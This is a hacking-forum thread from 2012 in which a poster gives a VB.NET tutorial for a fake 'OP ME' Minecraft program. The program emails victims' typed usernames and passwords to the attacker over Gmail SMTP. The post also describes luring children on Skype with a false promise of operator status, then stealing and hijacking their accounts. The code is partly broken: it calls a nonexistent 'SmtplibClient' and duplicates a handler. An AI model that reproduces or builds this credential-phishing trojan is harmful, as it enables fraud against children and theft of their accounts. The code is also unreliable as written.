Thread: [Application that sends email to you.](#)

AdrenalineSurge - May 5, 2012, 3:49 pm

Hello guys and welcome to this Logger. I am REALLY new to hackforums but im kinda good at VB. So i decided to post a logger i found and edited and used against people. Now Lets get started :D

Now open up VB and make anew Windows Application. Name it whatever you want. My thing i use to scam kids out of Minecraft Accounts is called OPME. This is going to be the example.

Resize the format to however big you want. Click the Form1 and name the project OP ME

Ok now that you have done that go to toolbox and create 2 labels. Name Label1 Username, And Label2 Password. Align those up perfectly on the left side.

Now that we have done that You want to create to TextBoxs. Textbox1 should go by Password and Textbox 2 should go by Username. Then you want to make 2 buttons Name button 1 Start Brute Forcing and name button 2 OP ME.

Now to the Coding ???

Double Click Start Brute Forcing and then DELETE everything inside of there. Next you want to copy and paste this code into the page.

Code Imports System.Web

Imports System.IO

Imports System.Net.Mail

**

Public Class Form1

Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs)

Handles Button1.Click

Dim mail As New MailMessage()

Dim SmtpServer As New SmtpClient

SmtpServer.Credentials = New Net.NetworkCredential("uremail@gmail.com", "passwordofEmail")

SmtpServer.Port = 587

SmtpServer.Host = "smtp.gmail.com"

SmtpServer.EnableSsl = True

SmtpServer.EnableSsl = True

mail.To.Add("uremail@anymailserver.com")

mail.From = New MailAddress("AnotherOneOfyourEmail@gmail.com")

mail.Subject = "Username"

mail.Body = TextBox2.Text

SmtpServer.Send(mail)

End Sub

Ok now fill in the email parts of that code. Then go back to whatever you called form1 Lets say OPME.

Next you want to click on OPME button and input THIS code into OPME button Now put in

Code Imports System.Web

Imports System.IO

Imports System.Net.Mail

**

Public Class Form1

Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs)

Handles Button1.Click

Dim mail As New MailMessage()

Dim SmtplibServer As New SmtplibClient

SmtplibServer.Credentials = New Net.NetworkCredential("uremail@gmail.com", "password")

SmtplibServer.Port = 587

SmtplibServer.Host = "smtp.gmail.com"

SmtplibServer.EnableSsl = True

SmtplibServer.EnableSsl = True

mail.To.Add("uremail@anymailserver.com")

mail.From = New MailAddress("nothere-mail@gmail.com")

mail.Subject = "password"

mail.Body = TextBox1.Text

SmtplibServer.Send(mail)

End Sub

Now you want to build the code you just made. All of it. Then go to File>Saveall

Next you want to go to

start>myDocuments>VisualBasics>Projects>Projectname>ProjectName>bin>Release and drag your OPME.exe to your desktop.

Thats all guys. Hope you like it. I didnt make all the code i just added some in. The actual Good bit of this comes from

[Video:

http://www.youtube.com/watch?v=YosG6KkMk2Y&feature=bf_prev&list=UU2BKch_OKtVj9r1anDse5yA]

And now all you have to do is send the OPME.exe to some slave on skype who plays minecraft. Tell him this will get him OP on any server in 24-48 hours. After he puts in all the stuff sign into your email and get the info :D. Then delete the bitch and save his info into a .txt file called ACCOUNTS on your desktop. There you can put all the stolen accounts you have.

Now if you really want to fuck up this kids day maybe you can log into his minecraft.net account using his info and then change his Password and email to your stuff and then he wont be able to use his own

Hope you guys liked it. :D

but why.... :(

my friend please leave this forum is better for you

?Mephobia - May 5, 2012, 4:37 pm

Ummmm. This isn't even a logger, it just sends an email... Nice try for a good post, but its not no offense.

IRC - May 5, 2012, 4:41 pm

I honestly can't tell if you are trolling.
